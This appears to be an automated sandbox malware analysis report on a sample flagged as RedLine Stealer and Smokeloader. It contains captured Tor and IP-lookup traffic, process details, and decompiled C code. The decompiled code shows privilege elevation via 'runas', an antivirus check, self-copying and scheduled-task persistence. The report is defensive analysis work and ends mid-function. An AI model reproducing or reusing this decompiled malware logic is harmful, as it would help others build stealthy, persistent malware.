62 50 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 Data Ascii: router cb1820 144.76.3.182 9090 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxvPAS8Re6X1SefJdHBdMScb2mtWFc6tunFIrKcMTTlWi/IFAQAgBACkQK5NUI/ijL/E74hfV7n4o80kADliGfKU0ZW2y48MekSHjCuH3toiZVHBl4JfkjPgzhvQ2mrg0AjBgL3vid3SrTqGurFFoZ/+X5u7dVpIDCa105Koxo8h6s+Zlgc5Lg0=-----END ED25519 CERT-----master-key-ed25519 pECuTVCP4oy/xO+IX1e5+KPNJAA5YhnylNGVtsuPDHoor-address [2a01:4f8:190:7385::2]:9090platform Tor 0.4.7.10 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 18:57:21fingerprint 1EFB ACCD 28A0 7FD6 AD7A A6F1 2931 77D7 1397 E918uptime 14361073bandwidth 1073741824 1073741824 41033980extra-info-digest 051E821545ED488A16A471754FDEB2DFAA3F4E8B TJkDSK6NKUjsEZZX8+59TA/JMx/tsPrvVhT+1HfQmz0onion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBALkDLJWJ5vawDngYi4FEaopCEbg+5wuAtVYLY1WAmqUON/8hBBWrAuEFP/8pu8a1u9/BR1PXFWku9u069P7vu4bMEW5IioJCE79IZAlKXDVajIazNQ056kT3B79WelR5nRzbQ/Rh17PGaGIhvYL7Zh+kX+3E2dADMH+iajoCWfbPAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49710	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:32.933310032 CET	2654	OUT	GET /tor/server/fp/0fb07690d64ce5c22b5175183c0e59678cdf7eab HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:32.955236912 CET	2656	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:32 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:32 GMT Data Raw: 72 6f 75 74 65 72 20 49 4e 53 52 65 6c 61 79 33 35 61 74 38 34 34 33 20 31 34 30 2e 37 38 2e 31 30 30 2e 33 35 20 38 34 34 33 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 76 61 41 62 78 72 38 6a 36 75 4b 35 43 76 49 61 4a 4b 4b 74 4c 4f 37 5a 6f 46 48 59 76 47 63 6e 68 6f 77 63 49 42 30 72 63 54 52 62 42 67 41 51 41 67 42 41 44 75 46 55 79 32 0a 75 45 7a 71 61 46 41 58 6e 51 67 6f 67 39 5a 76 71 41 54 53 6e 31 32 72 6b 77 2b 70 46 32 41 76 2f 72 47 65 75 59 47 41 78 79 7a 61 74 70 4a 59 68 4d 66 51 2f 33 74 4c 6a 37 31 57 71 31 6c 72 0a 49 6a 51 6d 6e 66 50 4c 72 4c 33 69 77 43 44 2b 4d 4b 70 73 56 2f 34 43 6b 72 31 39 37 58 33 35 30 41 67 4f 61 77 78 66 77 2b 70 6e 70 64 75 31 46 55 7a 2f 45 73 6e 2f 62 77 6f 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 37 68 56 4d 74 72 68 4d 36 6d 68 51 46 35 30 49 4b 49 50 57 62 36 67 45 30 70 39 64 71 35 4d 50 71 52 64 67 4c 2f 36 78 6e 72 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 38 2e 30 2d 61 6c 70 68 61 2d 64 65 76 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 31 3a 32 35 3a 31 37 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 30 46 42 30 20 37 36 39 30 20 44 36 34 43 20 45 35 43 32 20 32 42 35 31 20 37 35 31 38 20 33 43 30 45 20 35 39 36 37 20 38 43 44 46 20 37 45 41 42 0a 75 70 74 69 6d 65 20 31 39 34 34 36 33 0a 62 61 6e 64 77 69 64 74 68 20 31 30 37 35 32 30 20 31 30 37 33 37 34 31 38 32 34 20 36 34 32 34 35 37 36 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 46 31 43 36 39 42 46 33 30 42 30 45 34 43 35 44 30 34 41 31 44 30 41 46 44 33 31 46 37 30 31 39 30 32 37 33 37 44 38 32 20 32 75 78 43 66 70 53 55 4a 50 4c 62 59 67 63 43 31 79 63 48 4e 30 36 52 67 63 33 67 36 30 55 42 78 7a 56 4a 6c 69 55 37 4d 51 4d 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 50 76 61 6f 56 75 54 4a 43 42 79 4a 79 66 39 2b 43 6a 4e 72 6e 46 55 78 4c 4f 6a 54 57 6d 62 52 77 31 70 67 31 30 78 55 65 35 50 70 4a 58 76 4f 2b 55 61 74 44 74 55 0a 32 68 54 4c 59 6c 59 58 49 76 50 69 58 6c 73 4e 35 38 54 59 58 30 55 68 6c 6c 72 51 66 32 34 48 52 65 68 41 45 41 6b 39 6c 67 57 69 38 72 64 49 55 30 36 74 39 7a 53 72 33 2b 42 5a 59 56 61 30 0a 34 4b 33 39 2b 69 41 71 36 66 44 7a 73 45 52 53 5a 33 54 37 37 36 52 59 48 34 50 46 31 4e 6f 77 4e 56 4e 55 30 50 33 73 59 70 37 7a 79 4e 74 79 59 39 6f 78 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f Data Ascii: router INSRelay35at8443 140.78.100.35 8443 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxvaAbxr8j6uK5CvIaJKKtLO7ZoFHYvGcnhowcIB0rcTRbBgAQAgBADuFUy2uEzqaFAXnQgog9ZvqATSn12rkw+pF2Av/rGeuYGAxyzatpJYhMfQ/3tLj71Wq1lrIjQmnfPLrL3iwCD+MKpsV/4Ckr197X350AgOawxfw+pnpdu1FUz/Esn/bwo=-----END ED25519 CERT-----master-key-ed25519 7hVMtrhM6mhQF50IKIPWb6gE0p9dq5MPqRdgL/6xnrkplatform Tor 0.4.8.0-alpha-dev on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 11:25:17fingerprint 0FB0 7690 D64C E5C2 2B51 7518 3C0E 5967 8CDF 7EABuptime 194463bandwidth 107520 1073741824 6424576extra-info-digest F1C69BF30B0E4C5D04A1D0AFD31F701902737D82 2uxCfpSUJPLbYgcC1ycHN06Rgc3g60UBxzVJliU7MQMonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAPvaoVuTJCByJyf9+CjNrnFUxLOjTWmbRw1pg10xUe5PpJXvO+UatDtU2hTLYlYXIvPiXlsN58TYX0UhllrQf24HRehAEAk9lgWi8rdIU06t9zSr3+BZYVa04K39+iAq6fDzsERSZ3T776RYH4PF1NowNVNU0P3sYp7zyNtyY9oxAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAo

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49711	116.203.195.42	9030	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2023 01:00:33.058582067 CET	2661	OUT	GET /tor/server/fp/1eff2704d19bf45305bbcca53e2b59a3d17a6ee3 HTTP/1.0 Host: 116.203.195.42 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
Feb 9, 2023 01:00:33.081352949 CET	2663	IN	HTTP/1.0 200 OK Date: Thu, 09 Feb 2023 00:00:33 GMT Content-Type: text/plain X-Your-Address-Is: 84.17.52.13 Content-Encoding: identity Expires: Sat, 11 Feb 2023 00:00:33 GMT Data Raw: 72 6f 75 74 65 72 20 53 65 70 69 69 64 61 65 20 31 37 32 2e 30 2e 34 37 2e 37 38 20 39 30 30 31 20 30 20 30 0a 69 64 65 6e 74 69 74 79 2d 65 64 32 35 35 31 39 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 41 51 51 41 42 78 74 6c 41 52 57 35 2f 76 36 52 4a 78 32 4d 4d 52 74 30 74 50 32 64 63 62 68 77 4a 65 5a 6e 42 69 36 61 2f 70 73 33 6e 35 57 4a 5a 53 32 31 41 51 41 67 42 41 42 39 41 59 61 36 0a 65 47 7a 39 68 4d 53 57 66 64 73 68 41 58 62 4f 2f 6e 59 37 7a 72 63 34 7a 4c 77 45 52 4c 67 4b 46 77 75 4a 79 54 4a 59 6a 67 4d 4c 66 76 33 41 61 64 4e 38 6d 77 4b 79 4c 52 47 5a 34 73 71 45 0a 57 6a 74 2b 5a 33 6d 2b 50 35 32 48 54 2b 55 64 4d 68 50 4c 43 43 52 64 58 71 4e 74 61 6e 62 2b 34 5a 4e 34 35 4d 6f 62 49 4c 72 38 4f 44 34 58 42 77 70 66 35 47 32 46 51 67 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 45 44 32 35 35 31 39 20 43 45 52 54 2d 2d 2d 2d 2d 0a 6d 61 73 74 65 72 2d 6b 65 79 2d 65 64 32 35 35 31 39 20 66 51 47 47 75 6e 68 73 2f 59 54 45 6c 6e 33 62 49 51 46 32 7a 76 35 32 4f 38 36 33 4f 4d 79 38 42 45 53 34 43 68 63 4c 69 63 6b 0a 70 6c 61 74 66 6f 72 6d 20 54 6f 72 20 30 2e 34 2e 37 2e 31 33 20 6f 6e 20 4c 69 6e 75 78 0a 70 72 6f 74 6f 20 43 6f 6e 73 3d 31 2d 32 20 44 65 73 63 3d 31 2d 32 20 44 69 72 43 61 63 68 65 3d 32 20 46 6c 6f 77 43 74 72 6c 3d 31 2d 32 20 48 53 44 69 72 3d 32 20 48 53 49 6e 74 72 6f 3d 34 2d 35 20 48 53 52 65 6e 64 3d 31 2d 32 20 4c 69 6e 6b 3d 31 2d 35 20 4c 69 6e 6b 41 75 74 68 3d 31 2c 33 20 4d 69 63 72 6f 64 65 73 63 3d 31 2d 32 20 50 61 64 64 69 6e 67 3d 32 20 52 65 6c 61 79 3d 31 2d 34 0a 70 75 62 6c 69 73 68 65 64 20 32 30 32 33 2d 30 32 2d 30 38 20 31 31 3a 30 39 3a 35 33 0a 66 69 6e 67 65 72 70 72 69 6e 74 20 31 45 46 46 20 32 37 30 34 20 44 31 39 42 20 46 34 35 33 20 30 35 42 42 20 43 43 41 35 20 33 45 32 42 20 35 39 41 33 20 44 31 37 41 20 36 45 45 33 0a 75 70 74 69 6d 65 20 38 34 32 35 35 34 0a 62 61 6e 64 77 69 64 74 68 20 31 38 38 37 34 33 36 20 32 33 30 36 38 36 37 20 31 38 38 31 30 30 38 0a 65 78 74 72 61 2d 69 6e 66 6f 2d 64 69 67 65 73 74 20 35 33 30 36 34 42 45 39 31 38 46 42 41 31 34 37 36 36 43 35 43 41 35 33 35 33 37 35 30 34 30 38 44 30 44 31 35 39 34 35 20 55 70 51 66 31 66 50 6a 61 45 6d 43 75 78 42 58 31 7a 78 46 73 58 45 66 37 32 70 7a 78 76 6c 6f 54 73 4e 5a 57 48 44 45 63 59 55 0a 6f 6e 69 6f 6e 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4c 38 44 44 37 48 65 63 66 68 69 46 31 66 7a 4a 33 65 34 6c 36 33 4b 38 61 6d 73 43 52 5a 4f 76 55 66 77 75 54 4b 4a 79 4d 4d 37 30 54 45 43 4a 61 75 39 59 37 43 76 0a 4c 6a 75 51 6a 58 79 37 6a 4a 2b 4b 4c 54 75 52 44 62 56 31 63 67 73 57 6b 55 6e 47 50 47 69 55 57 48 52 79 46 35 31 71 42 72 69 4a 61 68 66 62 6f 72 5a 53 6e 62 35 46 37 31 32 62 4d 79 30 72 0a 42 63 4b 4b 2b 62 64 67 64 61 6d 69 4f 65 46 73 35 54 6e 73 6f 51 5a 35 6b 65 44 62 65 72 7a 63 6c 61 37 5a 52 50 65 48 68 47 2f 63 63 39 7a 56 45 63 53 4e 41 67 4d 42 41 41 45 3d 0a 2d 2d 2d 2d 2d 45 4e 44 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 73 69 67 6e 69 6e 67 2d 6b 65 79 0a 2d 2d 2d 2d 2d 42 45 47 49 4e 20 52 53 41 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 47 4a 41 6f 47 42 41 4d 48 4d 72 51 64 4f 64 43 56 6a 4a 68 66 77 66 64 75 Data Ascii: router Sepiidae 172.0.47.78 9001 0 0identity-ed25519-----BEGIN ED25519 CERT-----AQQABxtlARW5/v6RJx2MMRt0tP2dcbhwJeZnBi6a/ps3n5WJZS21AQAgBAB9AYa6eGz9hMSWfdshAXbO/nY7zrc4zLwERLgKFwuJyTJYjgMLfv3AadN8mwKyLRGZ4sqEWjt+Z3m+P52HT+UdMhPLCCRdXqNtanb+4ZN45MobILr8OD4XBwpf5G2FQgE=-----END ED25519 CERT-----master-key-ed25519 fQGGunhs/YTEln3bIQF2zv52O863OMy8BES4ChcLickplatform Tor 0.4.7.13 on Linuxproto Cons=1-2 Desc=1-2 DirCache=2 FlowCtrl=1-2 HSDir=2 HSIntro=4-5 HSRend=1-2 Link=1-5 LinkAuth=1,3 Microdesc=1-2 Padding=2 Relay=1-4published 2023-02-08 11:09:53fingerprint 1EFF 2704 D19B F453 05BB CCA5 3E2B 59A3 D17A 6EE3uptime 842554bandwidth 1887436 2306867 1881008extra-info-digest 53064BE918FBA14766C5CA5353750408D0D15945 UpQf1fPjaEmCuxBX1zxFsXEf72pzxvloTsNZWHDEcYUonion-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAL8DD7HecfhiF1fzJ3e4l63K8amsCRZOvUfwuTKJyMM70TECJau9Y7CvLjuQjXy7jJ+KLTuRDbV1cgsWkUnGPGiUWHRyF51qBriJahfborZSnb5F712bMy0rBcKK+bdgdamiOeFs5TnsoQZ5keDberzcla7ZRPeHhG/cc9zVEcSNAgMBAAE=-----END RSA PUBLIC KEY-----signing-key-----BEGIN RSA PUBLIC KEY-----MIGJAoGBAMHMrQdOdCVjJhfwfdu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49699	64.185.227.155	443	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	Direction	Data
2023-02-08 23:59:57 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2023-02-08 23:59:57 UTC	IN	HTTP/1.0 200 OK Content-Length: 11 Content-Type: text/plain Date: Wed, 08 Feb 2023 23:59:57 GMT Vary: Origin
2023-02-08 23:59:57 UTC	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 31 33 Data Ascii: 84.17.52.13

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49737	173.231.16.76	443	C:\ProgramData\dtkttiw\llfujo.exe

Timestamp	Direction	Data
2023-02-09 00:01:54 UTC	OUT	GET / HTTP/1.0 Host: api.ipify.org User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 Connection: close
2023-02-09 00:01:54 UTC	IN	HTTP/1.0 200 OK Content-Length: 11 Content-Type: text/plain Date: Thu, 09 Feb 2023 00:01:54 GMT Vary: Origin
2023-02-09 00:01:54 UTC	IN	Data Raw: 38 34 2e 31 37 2e 35 32 2e 31 33 Data Ascii: 84.17.52.13

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: i1lq1Qpbyw.exePID: 1716, Parent PID: 3324

General

Target ID:	0
Start time:	00:59:48
Start date:	09/02/2023
Path:	C:\Users\user\Desktop\i1lq1Qpbyw.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\i1lq1Qpbyw.exe
Imagebase:	0x400000
File size:	117248 bytes
MD5 hash:	40753D4F4BA5863BE3AAAA38CD50995A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.308267503.0000000000B11000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.308176286.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: llfujo.exePID: 3484, Parent PID: 1084

General

Target ID:	1
Start time:	00:59:52
Start date:	09/02/2023
Path:	C:\ProgramData\dtkttiw\llfujo.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\dtkttiw\llfujo.exe start
Imagebase:	0x400000
File size:	117248 bytes
MD5 hash:	40753D4F4BA5863BE3AAAA38CD50995A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000001.00000002.570272612.000000000091C000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000001.00000002.570219919.0000000000860000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: i1lq1Qpbyw.exePID: 1716, Parent PID: 3324COMMON

Execution Graph

Execution Coverage:	6.7%
Dynamic/Decrypted Code Coverage:	82.2%
Signature Coverage:	34.8%
Total number of Nodes:	1058
Total number of Limit Nodes:	6

Executed Functions

Function 00401000 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 119
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			_entry_() {
				char _v772;
				char _v1028;
				intOrPtr _v1032;
				intOrPtr _v1036;
				void* _v1040;
				char _v1044;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t36;
				void* _t51;
				intOrPtr _t53;
				short* _t58;
				void* _t61;

				E00406259( &_v1044, _t61 - _t61 + 0xfffffbf0);
				CreateThread(0, 0, E00405B8B, E00405CA9, 0, 0); // executed
				GetModuleFileNameA(0,  &_v1028, 0x100); // executed
				_t28 = E00405D68(); // executed
				_v1032 = _t28;
				if(_t28 != 0x1000) {
					L5:
					_t29 = E00405E22(_t65, "start"); // executed
					_v1036 = _t29;
					_t30 = _t29;
					if(_t29 == 0) {
						_t13 = E004065B9(_t30, 4) + 4; // 0x4
						_t53 = _t13;
						do {
							_t31 = E004065B9(_t31, 0x18) + 0x61;
							asm("stosb");
							_t53 = _t53 - 1;
							__eflags = _t53;
						} while (__eflags != 0);
						L11:
						_v1040 = OpenMutexA(0x100000, 0, "llfujo");
						CreateMutexA(0, 0, "llfujo"); // executed
						if(_v1036 == 0) {
							L14:
							EnumWindows(E0040593C, 0); // executed
							Sleep(0x2710); // executed
							_t70 = _v1032 - 0x1000;
							if(_v1032 == 0x1000) {
								L13:
								E004046AE();
								goto L14;
							}
							_t36 = E004057A9(_t70, "a2guard.exe"); // executed
							_t71 = _t36;
							if(_t36 == 0) {
								GetModuleFileNameA(0,  &_v1028, 0x100);
								E004058CB(_t71,  &_v772, "llfujo"); // executed
								CopyFileA( &_v1028,  &_v772, 0); // executed
								E004053B9(_t71, "llfujo", 0,  &_v772, "start", 0, 1); // executed
							}
							L17:
							Sleep(0xea60); // executed
							ExitProcess(0); // executed
							return CreateWindowExA();
						}
						if(_v1040 != 0) {
							goto L17;
						}
						goto L13;
					}
					_t58 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x30));
					do {
						asm("movsb");
						_t58 = _t58 + 1;
					} while ( *_t58 != 0x2e);
					goto L11;
				}
				_t51 = 0;
				_v1044 = 0xa;
				while(_t51 <= 0x20) {
					_t65 = _v1044;
					if(_v1044 != 0) {
						_t51 = ShellExecuteA(0, "runas",  &_v1028, 0, 0, 1);
						_t6 =  &_v1044;
						 *_t6 = _v1044 - 1;
						__eflags =  *_t6;
						continue;
					}
					goto L5;
				}
				goto L5;
			}

0x00401014
0x0040102b
0x0040103e
0x00401043
0x00401048
0x00401053
0x00401093
0x00401098
0x0040109d
0x004010a3
0x004010a5
0x004010d3
0x004010d3
0x004010d6
0x004010dd
0x004010e0
0x004010e1
0x004010e1
0x004010e1
0x004010e4
0x004010f5
0x00401104
0x00401110
0x00401124
0x0040112b
0x00401135
0x0040113a
0x00401144
0x0040111f
0x0040111f
0x00000000
0x0040111f
0x0040114b
0x00401150
0x00401152
0x00401162
0x00401173
0x00401188
0x004011a4
0x004011a4
0x004011a9
0x004011ae
0x0040688d
0x00406892
0x00406892
0x00401119
0x00000000
0x00000000
0x00000000
0x00401119
0x004010b3
0x004010bc
0x004010bc
0x004010bd
0x004010be
0x00000000
0x004010c4
0x00401055
0x0040105a
0x00401085
0x0040108a
0x00401091
0x0040107a
0x0040107f
0x0040107f
0x0040107f
0x00000000
0x0040107f
0x00000000
0x00401091
0x00000000

APIs

CreateThread.KERNEL32 ref: 0040102B
GetModuleFileNameA.KERNEL32(00000000,?,00000100,00000000,00000000,00405B8B,00405CA9,00000000,00000000,?), ref: 0040103E

Part of subcall function 00405D68: GetCurrentProcess.KERNEL32 ref: 00405D7F
Part of subcall function 00405D68: OpenProcessToken.ADVAPI32(00000000,00000008,?), ref: 00405D8D
Part of subcall function 00405D68: LocalAlloc.KERNEL32(00000000,?,00000000,00000008,?), ref: 00405D9F
Part of subcall function 00405D68: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,00000000,00000008,?), ref: 00405DB6
Part of subcall function 00405D68: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DC4
Part of subcall function 00405D68: LocalAlloc.KERNEL32(00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DCE
Part of subcall function 00405D68: GetTokenInformation.ADVAPI32(?,00000019(TokenIntegrityLevel),?,?,?,00000000,?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000), ref: 00405DE5
Part of subcall function 00405D68: GetSidSubAuthority.ADVAPI32(?,00000000,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405DF5
Part of subcall function 00405D68: LocalFree.KERNEL32(?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405E0D
Part of subcall function 00405D68: CloseHandle.KERNEL32(?,?,?,TokenIntegrityLevel,?,?,?,00000000,?,00000000,00000008,?), ref: 00405E15

ShellExecuteA.SHELL32(00000000,runas,?,00000000,00000000,00000001), ref: 0040107A
OpenMutexA.KERNEL32 ref: 004010F0
CreateMutexA.KERNEL32(00000000,00000000,llfujo,00100000,00000000,llfujo,00000018,00000004,start,00000000,?,00000100,00000000,00000000,00405B8B,00405CA9), ref: 00401104
EnumWindows.USER32(0040593C,00000000), ref: 0040112B
Sleep.KERNEL32(00002710), ref: 00401135
GetModuleFileNameA.KERNEL32(00000000,?,00000100,a2guard.exe,00002710,0040593C,00000000,00002710), ref: 00401162
CopyFileA.KERNEL32(?,?,00000000), ref: 00401188
Sleep.KERNEL32(0000EA60,a2guard.exe,00002710,0040593C,00000000,00002710), ref: 004011AE
ExitProcess.KERNEL32(00000000,0000EA60,a2guard.exe,00002710,0040593C,00000000,00002710), ref: 0040688D

Strings

runas, xrefs: 00401073
llfujo, xrefs: 004010B6, 004010C6, 004010E4, 004010FB, 00401167, 0040119F
start, xrefs: 00401093, 00401191
a2guard.exe, xrefs: 00401146

Memory Dump Source

Source File: 00000000.00000002.308108049.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_i1lq1Qpbyw.jbxd

Similarity

API ID: Local$FileProcessToken$AllocCreateFreeInformationModuleMutexNameOpenSleep$AuthorityCloseCopyCurrentEnumExecuteExitHandleShellThreadWindows
String ID: a2guard.exe$llfujo$runas$start
API String ID: 1435776417-3039685001
Opcode ID: 2c828131cb5b96cb6c7bf25788c3b10fd48efff84e178d15aa7624ad88424ee7
Instruction ID: 6113a8e171c7203dfa25af26a0df34495cbacbd04f334ca6a816e8c263424983
Opcode Fuzzy Hash: 2c828131cb5b96cb6c7bf25788c3b10fd48efff84e178d15aa7624ad88424ee7
Instruction Fuzzy Hash: 0E41C9B0A80308AAEB30B751CD43F997268AF44B04F1144BFB745BA1D2DAFC56C58E6D

Uniqueness

Uniqueness Score: -1.00%

Function 004053B9 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 241
timecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 74%

			E004053B9(void* __eflags, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* _v8;
				void* _v12;
				char _v1032;
				char _v1036;
				void* _v1040;
				char _v1044;
				char _v1056;
				short _v1060;
				intOrPtr _v1068;
				intOrPtr _v1072;
				short _v1074;
				short _v1076;
				short _v1078;
				short _v1080;
				short _v1082;
				short _v1084;
				short _v1086;
				short _v1088;
				char _v1092;
				void* _v1096;
				struct _SYSTEMTIME _v1112;
				struct _FILETIME _v1120;
				char _v1376;
				char _v1888;
				char _v2144;
				char _v2400;
				char _v2656;
				char _v2912;
				char _v3168;
				char _v3424;
				char* _t102;
				intOrPtr* _t111;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr* _t115;
				void* _t120;
				intOrPtr* _t122;
				intOrPtr* _t126;
				intOrPtr* _t128;
				intOrPtr* _t132;
				intOrPtr* _t135;
				void* _t143;
				short _t151;
				intOrPtr* _t154;
				intOrPtr* _t160;
				intOrPtr* _t163;
				intOrPtr* _t165;
				intOrPtr* _t167;
				intOrPtr* _t169;
				intOrPtr* _t174;

				E00406460(__eflags, _a4,  &_v1376);
				E00406460(__eflags, _a12,  &_v1888);
				E00405708(__eflags, _a4); // executed
				_push(0);
				L00406A66();
				E00406270(0x4080c3, 0x10,  &_v2400);
				E00406270(0x4080d3, 0x10,  &_v2656);
				_push( &_v8);
				_push( &_v2656);
				_push(1);
				_push(0);
				_t102 =  &_v2400;
				_push(_t102);
				L00406A60();
				if(_t102 >= 0) {
					E00406270(0x4080e3, 0x10,  &_v2912);
					E00406270(0x4080f3, 0x10,  &_v3168);
					_t111 = _v8;
					_t113 =  *((intOrPtr*)( *((intOrPtr*)( *_t111 + 0x20))))(_t111,  &_v1376,  &_v3168,  &_v2912,  &_v12); // executed
					if(_t113 >= 0) {
						_t115 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t115 + 0x70))))(_t115, 0x2202);
						E00406259( &_v1036, 0x400); // executed
						_t120 = E00405D68(); // executed
